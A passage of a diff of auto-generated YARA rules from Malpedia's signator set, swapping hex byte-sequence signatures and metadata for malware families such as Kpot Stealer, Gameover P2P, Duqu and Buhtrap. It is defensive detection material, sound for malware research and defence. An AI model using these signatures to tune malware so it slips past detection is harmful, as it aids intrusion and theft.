brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "743f9274-41e4-5665-bc30-911487d51855" + id = "de723d64-30bf-5667-a979-f8186ef8b8cb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kins" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kins_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oni" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oni_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "26d261757c4f136c791aeb2f4de3cf368918a3d762b525e91ab2a0dc9fc542ca" + logic_hash = "e7a58256b76e741c7c3e2e9d7af61ce1190ab07a3a92bb457114a7c15de62838" score = 75 quality = 75 tags = "FILE" @@ -141653,32 +141418,32 @@ rule MALPEDIA_Win_Kins_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5f 5e 5b c9 c3 ff0d???????? 7518 } - $sequence_1 = { e8???????? 6a2e 8d7b18 57 e8???????? 84c0 743e } - $sequence_2 = { 8b4d0c 890491 42 33c0 85f6 75c2 8b4510 } - $sequence_3 = { 33da 035dec 897dfc 8d84032211906b c1c007 03c7 8bfe } - $sequence_4 = { 89441904 33c0 eb03 33c0 40 5f } - $sequence_5 = { e8???????? 8bf0 85f6 0f8512010000 8d45dc 8bd8 e8???????? } - $sequence_6 = { e8???????? 33ff 85ff 7526 837c242800 0f85cefeffff 8b7508 } - $sequence_7 = { 56 ffd7 833d????????04 720a 56 } - $sequence_8 = { 7510 837de801 750a 8b4720 894714 c645ff01 8a45ff } - $sequence_9 = { 72f0 8d411c e8???????? 83611800 } + $sequence_0 = { 8d8c24f0000000 c78424040100000f000000 c784240001000000000000 c68424f000000000 } + $sequence_1 = { 83f904 0f828d000000 83f923 0f8789000000 8bc8 } + $sequence_2 = { 8b4804 8d41f8 89840d14ffffff 8d4580 50 c74580b83a4300 e8???????? } + $sequence_3 = { 7603 6a26 58 0fb60c8536bf4200 0fb6348537bf4200 8bf9 8985b4f8ffff } + $sequence_4 = { 7420 6bc618 57 8db86c854300 57 ff15???????? } + $sequence_5 = { 8bc1 83e13f c1f806 6bc930 8b048590884300 f644082801 7406 } + $sequence_6 = { 83e03f c1ff06 6bd830 8b04bd90884300 f644032801 7444 837c0318ff } + $sequence_7 = { 8b550c 3b5df0 0f82cefeffff eb20 8b0c8d90884300 } + $sequence_8 = { 8d85f8fdffff 6a00 50 e8???????? 83c40c 8d85f8feffff } + $sequence_9 = { eb02 33f6 53 8d4dd0 e8???????? 807dd400 750a } condition: - 7 of them and filesize < 548864 + 7 of them and filesize < 499712 } -rule MALPEDIA_Win_Kpot_Stealer_Auto : FILE +rule MALPEDIA_Win_Gameover_P2P_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2d1c2c52-a27f-577a-ba10-9c57d7ba8b38" + id = "fe20a97c-206c-5c98-87a9-4b574fa239f7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kpot_stealer_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gameover_p2p_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "c16845199544fc6722c4e2fc31a24b6089435ba431e0486f2fdbb3a3dff70b56" + logic_hash = "0a805dc64b5619969bf73a86439d36461e7cd7fd50eef8d82014a2fb996a9dce" score = 75 quality = 75 tags = "FILE" @@ -141692,32 +141457,32 @@ rule MALPEDIA_Win_Kpot_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0bce 0fb67007 0fb64006 c1e608 } - $sequence_1 = { 8b4608 8b0e ff3481 ff15???????? 8b4608 8b4e04 } - $sequence_2 = { d1e8 8bc8 81e100000007 8bd8 } - $sequence_3 = { 8a02 3c2d 7506 33ff 47 42 eb07 } - $sequence_4 = { 59 8d4df8 51 ff75f8 } - $sequence_5 = { 57 8bf8 8b4518 0fb67005 } - $sequence_6 = { 0bd1 8bcf c1e11b d1ef } - $sequence_7 = { 8bd6 e8???????? c6043700 8bc7 5f } - $sequence_8 = { 8a07 84c0 7417 8a0c3a 47 3ac8 74f2 } - $sequence_9 = { 53 56 57 8bf8 8b4518 0fb67005 } + $sequence_0 = { 88442413 0fb6c0 8944241c 8a80007f3902 0fb6c0 3bc8 } + $sequence_1 = { 8d55ee 33c9 e8???????? ba???????? 6a2e 58 668945ec } + $sequence_2 = { 33c0 e9???????? 6a74 59 e8???????? 8bf8 85ff } + $sequence_3 = { 8b8684000000 8d0440 03c0 0fb78c008a183902 03c0 898e80000000 0fb79088183902 } + $sequence_4 = { 895108 6bd20c 83c104 e8???????? c20400 f644240401 } + $sequence_5 = { 3d02010000 0f85e0000000 8d7dce 6800020000 8d44241c 50 8d8424b0060000 } + $sequence_6 = { e8???????? 33d2 b9ff000000 f7f1 6a00 56 8bcf } + $sequence_7 = { ff15???????? 8bf0 89742410 83feff 7478 8d442414 50 } + $sequence_8 = { 8a0408 3204f598613902 32c2 42 880439 663b14f59a613902 } + $sequence_9 = { 50 8d442448 85ed 8b6c2444 0f45c8 51 ff742430 } condition: - 7 of them and filesize < 219136 + 7 of them and filesize < 598016 } -rule MALPEDIA_Win_Sinowal_Auto : FILE +rule MALPEDIA_Win_Scranos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1f893f7f-89f2-5c9f-9fc2-27e806579cce" + id = "e6b87374-5f91-5170-a53f-357b78008c92" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sinowal_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scranos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scranos_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "54091d4d3127abdf4debf8514f31e0539d3fa9d766e80cf864467b06870782b4" + logic_hash = "52e1cc52ba176c72c7453bb67f5d2aeb347a2cda714eb2419f457836d51a180e" score = 75 quality = 75 tags = "FILE" @@ -141731,32 +141496,32 @@ rule MALPEDIA_Win_Sinowal_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 85c0 0f85b3000000 837df800 } - $sequence_1 = { c7854cfdffff28000000 83bd4cfdffff03 7305 e9???????? 8b8d4cfdffff } - $sequence_2 = { 8b45fc 83c001 8945fc 8b4d0c d1e9 394dfc } - $sequence_3 = { 33d2 7596 837de800 7417 8b4508 8b08 } - $sequence_4 = { 8995ecfeffff c785c4feffff00000000 c745fc00000000 c745f800000000 c685f0feffff00 68ff000000 6a00 } - $sequence_5 = { 50 e8???????? 83c40c c745fc01000000 c745f804010000 8d4df8 } - $sequence_6 = { 51 ff15???????? 33c0 eb03 83c8ff } - $sequence_7 = { 52 ff15???????? c745f400000000 eb09 8b45f4 } - $sequence_8 = { 7405 e9???????? 6830020000 6a00 } - $sequence_9 = { 8b4dfc 0fb611 33d0 8b45fc 8810 8b4dfc } + $sequence_0 = { e9???????? 8d4dd0 e9???????? 8d8d64ffffff e9???????? b8???????? e9???????? } + $sequence_1 = { c68424450e00002d 8db424460e0000 f6c102 7406 c6062b 83c601 f6c101 } + $sequence_2 = { c745a800000000 837d9c00 7508 8b45a0 8b08 894d9c 8b55f4 } + $sequence_3 = { e8???????? 83c404 85c0 0f8587050000 39442424 0f8570050000 8b8d940c0000 } + $sequence_4 = { c745b07c441010 e8???????? cc 6a44 b8???????? e8???????? 68???????? } + $sequence_5 = { 8d6803 e8???????? 83c40c 85c0 0f85c4000000 6a07 56 } + $sequence_6 = { 8b5518 8991e0010000 c745f800000000 eb09 8b45f8 83c001 8945f8 } + $sequence_7 = { c6405400 0fb64dff 85c9 7514 8b55e4 8b45ec 3b424c } + $sequence_8 = { 90 8d442410 50 6a00 55 56 e8???????? } + $sequence_9 = { c7414802000000 8b55e8 52 e8???????? 83c404 83c001 8945b0 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 2859008 } -rule MALPEDIA_Win_Backconfig_Auto : FILE +rule MALPEDIA_Win_Stealer_0X3401_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "18fd149c-ad9b-5433-8651-ac1dcd92de05" + id = "2ae48584-3f0a-5429-8e37-f6d8d22f0c81" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backconfig" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backconfig_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealer_0x3401" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealer_0x3401_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "dc29e43fa81d60d5f53e6f4d5e158937c417e8f12650929b20d71338a8cb5ead" + logic_hash = "d48e39ba989936cedf7a0bb5dfb1b2a5b1f5da933f4aa10a0b47e5b061091dba" score = 75 quality = 75 tags = "FILE" @@ -141770,32 +141535,32 @@ rule MALPEDIA_Win_Backconfig_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { a1???????? 8b0d???????? 8b15???????? 8985f0feffff a1???????? 6a51 8985fcfeffff } - $sequence_1 = { e8???????? 8b4de4 83c40c 6bc930 8975e0 8db1682a4100 } - $sequence_2 = { 8a15???????? 8d8569ffffff 6a00 50 898d64ffffff 889568ffffff } - $sequence_3 = { c1f805 8d1485c0504100 8b0a 83e61f c1e606 03ce } - $sequence_4 = { 8bc3 c1f805 8d3c85c0504100 8bf3 83e61f c1e606 8b07 } - $sequence_5 = { 8b0d???????? 8b15???????? 8985f0feffff a1???????? 6a51 8985fcfeffff 898df4feffff } - $sequence_6 = { 8d8d2cfdffff 68???????? 51 e8???????? 83c414 68401f0000 } - $sequence_7 = { 6a00 50 898d64ffffff 889568ffffff e8???????? } - $sequence_8 = { 8bf1 83e61f 8d3c85c0504100 8b07 c1e606 f644300401 7436 } - $sequence_9 = { 8bec 8b4508 56 8d34c550224100 833e00 7513 } + $sequence_0 = { 83e03f 6bc830 8b0495c8710210 8b440818 83f8ff 7409 } + $sequence_1 = { c685d07dffff00 83f808 720d 40 50 ffb5487effff } + $sequence_2 = { 68???????? 8bd0 c645fc21 8d4d90 e8???????? } + $sequence_3 = { 8d45bc 837dd010 c745cc01000000 0f4345bc c6400100 8d8578ffffff 50 } + $sequence_4 = { 660fd645bc f30f7e05???????? 8945b4 a1???????? c78500ffffff3f3f3f00 c78523ffffff00000000 } + $sequence_5 = { 50 b9???????? c645fc19 e8???????? 8d4d90 } + $sequence_6 = { 735f 8bc6 8bfe 83e03f c1ff06 6bd830 8b04bdc8710210 } + $sequence_7 = { 7534 40 83f8fe 0f8798020000 3bc8 7310 ff7710 } + $sequence_8 = { 49 83c9fe 41 99 898cb558f0ffff 2bc2 } + $sequence_9 = { 0f95c0 8985a8feffff 3bf7 741f 6690 68???????? 8bcb } condition: - 7 of them and filesize < 217088 + 7 of them and filesize < 357376 } -rule MALPEDIA_Win_Karma_Auto : FILE +rule MALPEDIA_Win_Webmonitor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "24be30a8-d096-5dc7-8e51-b42bf2a52649" + id = "4edd58bc-84aa-57fd-8483-88f5d1911dcf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karma" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.karma_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webmonitor_auto.yar#L1-L165" license_url = "N/A" - logic_hash = "35cdf75103d6b4a50883eb5678dfe204820b04234b8d7ece3879561247948adf" + logic_hash = "f03f08c033bc99c38a9a7047c1ab4dd8b784015d4b2f1d48ed5a63b916e4918d" score = 75 quality = 75 tags = "FILE" @@ -141809,32 +141574,38 @@ rule MALPEDIA_Win_Karma_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a08 6a00 8944243c ffd6 50 ffd3 6a40 } - $sequence_1 = { 8b450c 751c 41 83f908 72f1 } - $sequence_2 = { 8b0d???????? 33c0 3801 740a } - $sequence_3 = { 8bf1 33d2 57 663916 7409 } - $sequence_4 = { 668901 8d5202 6685c0 75ef 8bcf ba???????? } - $sequence_5 = { 750e 6685db 0f8478040000 83c702 ebc8 33ff } - $sequence_6 = { c1c80e 33c7 8b7b14 8903 8d0437 c1c007 314324 } - $sequence_7 = { 8bf1 eb02 33f6 0fb74102 } - $sequence_8 = { 6685c0 7429 0fb7d0 6683fa5c 7410 } - $sequence_9 = { 66833c45f051400000 75f4 33d2 663915???????? 7415 660f1f840000000000 } + $sequence_0 = { 33c9 c1eb0a 41 0fb7c3 } + $sequence_1 = { 04f0 fd ff01 04f0 fd } + $sequence_2 = { 50 51 e8???????? 83c418 807c242000 } + $sequence_3 = { 0fb6c0 6a09 33f0 e8???????? } + $sequence_4 = { 2b49fc e9???????? 55 8bec f30f104508 ff750c } + $sequence_5 = { 0f4345d8 0fbe0408 03d8 e9???????? 03da 8a043b } + $sequence_6 = { 0080cd41009c d34100 e8???????? a3???????? 41 } + $sequence_7 = { 1b4300 38644400 44 8a4100 } + $sequence_8 = { 2503fd006c ff1e e00e 000e } + $sequence_9 = { 03c6 53 c1e008 6a0e 8945e0 e8???????? } + $sequence_10 = { 04c8 fe04fc fd 04f8 fd ff01 } + $sequence_11 = { 41 00baa4f34100 b9???????? ffe1 ba???????? b9???????? ffe1 } + $sequence_12 = { 04f8 fd 0512002413 000d???????? 04f4 } + $sequence_13 = { 33cd e8???????? c9 c3 68???????? e8???????? } + $sequence_14 = { 33c9 6800900100 668908 8bcf } + $sequence_15 = { 61 0043ec fe04ec fe05???????? 000d???????? 04c8 } condition: - 7 of them and filesize < 49208 + 7 of them and filesize < 1984512 } -rule MALPEDIA_Win_Resident_Auto : FILE +rule MALPEDIA_Win_Screencap_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1b67466a-54db-5e85-b74e-0f6af48d989f" + id = "379c64a1-3968-5838-b405-32978ebeeb34" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.resident" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.resident_auto.yar#L1-L176" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.screencap" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.screencap_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "c657f6a8f6e1222a8318e6995666aff3bd59abbbd0dacc976a5ca7724d12794b" + logic_hash = "2175ebdcdf09489a5c3e9d1a0443dafe26fb70adb28f0b3b4f8cf2a642f56129" score = 75 quality = 75 tags = "FILE" @@ -141848,38 +141619,32 @@ rule MALPEDIA_Win_Resident_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 8d95dcf9ffff 52 6a00 ff15???????? 85c0 } - $sequence_1 = { c1e606 03348500b94000 8b45f8 8b00 8906 8b45fc 8a00 } - $sequence_2 = { 894c243c 8b4c2460 89442404 89542440 8b54245c } - $sequence_3 = { 895c2410 c744240cffffffff 89742408 c744240400000000 } - $sequence_4 = { e8???????? 89c6 85c0 0f8427010000 c70424???????? 8d6c243e e8???????? } - $sequence_5 = { 8d85d8f9ffff e8???????? 8b95d4f9ffff 8bf0 03d2 8d45dc e8???????? } - $sequence_6 = { 750f 33c0 807dfa01 0f94c0 8d740010 eb41 83f803 } - $sequence_7 = { 8d55e4 52 ffd6 85c0 75e3 5b } - $sequence_8 = { 6689442430 668954242c 8b542422 b830000000 6689442428 66894c242e 0fb74c2420 } - $sequence_9 = { c744240800000000 c744240400000000 ff15???????? 83ec20 891c24 e8???????? } - $sequence_10 = { 8d34ad00000000 8b04a8 890424 e8???????? 83f825 76da } - $sequence_11 = { 8b37 89442418 8d460a 890424 e8???????? 89c3 85c0 } - $sequence_12 = { 75e4 b801000000 893c24 8944241c e8???????? } - $sequence_13 = { ff15???????? 6a04 8d55fc 52 6a06 } - $sequence_14 = { ff15???????? 83ec04 0fb7442446 66895c2450 } - $sequence_15 = { eb05 e8???????? 83c404 84c0 0f848e000000 } + $sequence_0 = { 750d 6800000080 6a06 ff15???????? } + $sequence_1 = { 488d0d1aba0000 e8???????? cc 488b4118 } + $sequence_2 = { 488d1557c90000 eb2b 488d153ec90000 eb22 } + $sequence_3 = { 488d156cd90000 488d8d90020000 4d8bc7 e8???????? 488d9580010000 488d4c2470 4533c9 } + $sequence_4 = { 48895c2408 57 4881ecb0000000 488d054cffffff 33db ba007f0000 33c9 } + $sequence_5 = { 4c8d442460 33d2 33c9 41d1e9 896c2428 4889742420 } + $sequence_6 = { eb4e 8d4306 39842420100000 7640 6a04 687c334700 55 } + $sequence_7 = { e9???????? 488d1554ca0000 e9???????? 498bd7 e9???????? 488d1570c60000 e9???????? } + $sequence_8 = { e9???????? 4c8bfb 4c8be3 488d055eeb0000 49c1fc05 4183e71f 4a8b0ce0 } + $sequence_9 = { 83c40c 8945a4 8975c8 897dcc 8975d0 8975d4 c645d800 } condition: - 7 of them and filesize < 125952 + 7 of them and filesize < 1391616 } -rule MALPEDIA_Win_Himan_Auto : FILE +rule MALPEDIA_Win_Rombertik_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ed257a76-43f6-55c0-abc7-4725d6aa2228" + id = "fd5d6ec1-b599-5122-939f-30fe62c6e74a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.himan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.himan_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rombertik_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "ca6405bd6a0987e5f551c0a2e97e9d04936f65f5adde6e64c734768ea5c267b3" + logic_hash = "1bd4f27874587acc7747c5d4ae5b510eeb7a9ee716658437468f5342433983ca" score = 75 quality = 75 tags = "FILE" @@ -141893,32 +141658,32 @@ rule MALPEDIA_Win_Himan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4608 57 57 57 50 } - $sequence_1 = { 33d5 8bee 81e5ff000000 c1ee08 3314adbcba6e00 8b28 } - $sequence_2 = { 8bf9 85c0 7505 e8???????? 8b442418 8b4c2414 } - $sequence_3 = { 8a83bc986e00 2bc8 8a11 eb02 32d2 8ac2 8aca } - $sequence_4 = { c1e604 0bce 7c0b 83f940 } - $sequence_5 = { ffd5 85c0 74d4 8b442438 85c0 74cc 03f0 } - $sequence_6 = { c1ee10 8bd7 81e6ff000000 c1ea08 8b2cb5bca16e00 81e2ff000000 } - $sequence_7 = { 8d4c2414 50 51 52 ff15???????? 85c0 7478 } - $sequence_8 = { 83c408 85c0 7451 8d8c24e0000000 68???????? 51 } - $sequence_9 = { f3ab 8d44241c 50 ff15???????? 8d4c2418 68???????? 51 } + $sequence_0 = { 68???????? 56 ff15???????? 85c0 7559 8b5e10 33ff } + $sequence_1 = { 40 49 75f9 8955f8 85d2 } + $sequence_2 = { 0f94c0 84c0 750d 47 3b7d0c 72c9 } + $sequence_3 = { 47 41 3bfb 72be 8b5df0 } + $sequence_4 = { 85c0 7426 8d95f8feffff 52 } + $sequence_5 = { 8d4de4 51 8955e8 8b55fc 6a00 52 } + $sequence_6 = { 8bec 81ec3c030000 53 56 57 bf00010000 } + $sequence_7 = { 8d8ddcfdffff 8bf0 51 56 } + $sequence_8 = { 68???????? 50 56 e8???????? 83c414 a3???????? } + $sequence_9 = { 81c900ffffff 41 8a9c0d00ffffff 889c0500ffffff } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Shatteredglass_Auto : FILE +rule MALPEDIA_Win_Chewbacca_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1439db5c-49a0-5968-b59a-03910a603b61" + id = "847304aa-d95d-5b53-bfb8-fe0eb8b688d2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shatteredglass" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shatteredglass_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chewbacca_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "f010e143a6683faf7af5372236553bb5fc1b43eebb2159b594f8f51e8251f8d5" + logic_hash = "f5f29df4947aa2192c20ef975dcc6c403a1b166aed455b80e47ce170d12533bf" score = 75 quality = 75 tags = "FILE" @@ -141932,32 +141697,32 @@ rule MALPEDIA_Win_Shatteredglass_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 03f0 83fe10 7ce1 83fe10 752f } - $sequence_1 = { 7ce1 83fe10 752f eb29 } - $sequence_2 = { 0f8ecf000000 8b531c 8bca 8d7102 } - $sequence_3 = { 6a00 b810000000 2bc6 50 8d8640d74100 50 57 } - $sequence_4 = { eb02 32d2 8bc6 c0e104 d1e8 02ca 83c602 } - $sequence_5 = { 8d4900 0fb70c77 8d41d0 6683f809 7705 } - $sequence_6 = { 7705 80e937 eb10 8d419f 6683f819 7705 } - $sequence_7 = { 53 ff15???????? 80bd33ffffff00 0f8452ffffff 57 e8???????? } - $sequence_8 = { 2bce d1f9 83f918 740a 68???????? e9???????? } - $sequence_9 = { 72f1 33c0 5d c3 8b04c58c434100 5d c3 } + $sequence_0 = { e8???????? b909000000 89ee 8b7c2430 f3a6 0f8558010000 89c6 } + $sequence_1 = { e8???????? c7442414c4796800 c7442410cd846800 c744240c1c070000 89442408 c7442404???????? a1???????? } + $sequence_2 = { 8b4324 85c0 7461 c744240c00000000 8d54242c 89542408 c744240400000000 } + $sequence_3 = { e9???????? 8b45fc e8???????? 52 50 8d45b8 e8???????? } + $sequence_4 = { e8???????? c744241cd4686500 c7442418a0836500 c74424147b110000 89442410 c744240c44446500 c7442408???????? } + $sequence_5 = { e8???????? c7042401000000 e8???????? e8???????? 89c3 e8???????? 895c2410 } + $sequence_6 = { e8???????? e8???????? 50 85c0 0f8540040000 b801000000 8d5584 } + $sequence_7 = { e8???????? c744241c84006700 c7442418b7026700 c7442414eb010000 89442410 c744240c64fd6600 c7442408???????? } + $sequence_8 = { e8???????? e8???????? 50 85c0 7516 8d55d4 89d8 } + $sequence_9 = { e8???????? c7442414cb246800 c7442410f3296800 c744240cec040000 89442408 c7442404???????? a1???????? } condition: - 7 of them and filesize < 273408 + 7 of them and filesize < 9764864 } -rule MALPEDIA_Win_Duqu_Auto : FILE +rule MALPEDIA_Win_Tiop_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d021a3e0-a963-5c5a-8894-2a3900c75d82" + id = "7759473d-7c21-529d-8c5c-8c80ad3dfcde" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.duqu_auto.yar#L1-L169" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tiop_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "a5f03c1a39b5d865f59b6af67604227aa6b29a16f7ea254ca225f6a37485518b" + logic_hash = "9d95462dbb557911b61e12f852944c9e17315546dfa96a6eb7c9f227ec2b38c0" score = 75 quality = 75 tags = "FILE" @@ -141971,38 +141736,32 @@ rule MALPEDIA_Win_Duqu_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8d8df8fdffff 51 ff9088000000 8bd6 8bc8 } - $sequence_1 = { 5e 5b 8be5 5d c3 8b4718 ebf4 } - $sequence_2 = { ba78978b33 89869c000000 8bcb e8???????? ba5859004e } - $sequence_3 = { 744d 8b4c2414 8a442413 8b5c2418 85c9 7e30 0fb6c8 } - $sequence_4 = { 85c0 7465 e8???????? 85c0 } - $sequence_5 = { 56 51 8bf2 e8???????? } - $sequence_6 = { 8b5c242c 741a 40 83c704 8944241c 3b4218 } - $sequence_7 = { baec8ce154 8bcb e8???????? ba8eacac75 894628 } - $sequence_8 = { ba1225339c 89462c 8bcb e8???????? 89466c 85c0 } - $sequence_9 = { 8b4c2414 40 49 89442420 } - $sequence_10 = { 8bec 81ec0c020000 56 ff7508 8bf2 } - $sequence_11 = { 8bec 81ec04020000 53 8b5d08 56 57 6af0 } - $sequence_12 = { 8bec 81ec10080000 8365fc00 b800010000 } - $sequence_13 = { 8bec 53 56 8bd8 8d732c 57 8bce } - $sequence_14 = { 8bec 56 57 8b7d08 33f6 3b7d0c } - $sequence_15 = { 8bec 81ec0c020000 8365fc00 833d????????ff } + $sequence_0 = { ffd7 8d4c241c a3???????? e8???????? 8b10 53 8bc8 } + $sequence_1 = { 57 8965e8 8b4508 8d7004 8975e4 } + $sequence_2 = { 51 50 ffd7 83c408 85c0 7555 8b4604 } + $sequence_3 = { 64a100000000 50 64892500000000 83ec08 b8fc120000 e8???????? } + $sequence_4 = { 51 55 ff15???????? 8b7c2410 56 8b35???????? } + $sequence_5 = { 8d542414 68???????? f3ab 52 ffd3 83c414 85c0 } + $sequence_6 = { 68???????? 64a100000000 50 64892500000000 83ec08 56 33f6 } + $sequence_7 = { c64424388d c6442439b5 c644242c81 c644242dc3 c644243e85 c644243fff } + $sequence_8 = { 8d542410 53 8944247c 53 894c2468 89542474 } + $sequence_9 = { 8bf8 ff5204 894708 a1???????? 50 57 } condition: - 7 of them and filesize < 18759680 + 7 of them and filesize < 712704 } -rule MALPEDIA_Win_Hunters_International_Auto : FILE +rule MALPEDIA_Win_Buhtrap_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d8636829-de8e-581c-ad4e-c31c44dd9781" + id = "05b4ba66-68ba-54c1-8d1c-18fdeb619511" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hunters_international" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hunters_international_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buhtrap_auto.yar#L1-L156" license_url = "N/A" - logic_hash = "9c91c92551d0b4c31eb2166ecca4cb74b9d63e524f9ede84d728adc0424bfc5e" + logic_hash = "eac17ec81dd5c0445bcaac0e052f572182cee6f02fda0d2839f8933537f248ba" score = 75 quality = 75 tags = "FILE" @@ -142016,32 +141775,37 @@ rule MALPEDIA_Win_Hunters_International_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c641040c e9???????? c641040d e9???????? } - $sequence_1 = { e9???????? c641040d e9???????? c641040e e9???????? c641040f e9???????? } - $sequence_2 = { 241f 3c1f 750f c70100000000 c641041f } - $sequence_3 = { c641040c e9???????? c641040d e9???????? c641040e } - $sequence_4 = { c6410402 e9???????? c6410405 e9???????? c641040c e9???????? c641040d } - $sequence_5 = { c6410405 e9???????? c641040c e9???????? c641040d e9???????? } - $sequence_6 = { 750f c70100000000 c641041f c6410810 } - $sequence_7 = { c6410400 e9???????? c6410402 e9???????? c6410405 } - $sequence_8 = { c6410402 e9???????? c6410405 e9???????? } - $sequence_9 = { c641040c e9???????? c641040d e9???????? c641040e e9???????? } + $sequence_0 = { e8???????? 59 59 84c0 0f8435010000 } + $sequence_1 = { ff5010 837df000 0f84e7000000 85c0 0f85c9000000 } + $sequence_2 = { 8d442454 50 53 6a0a 5a e8???????? 50 } + $sequence_3 = { 53 ffd6 8bd8 2b5dfc 895dec } + $sequence_4 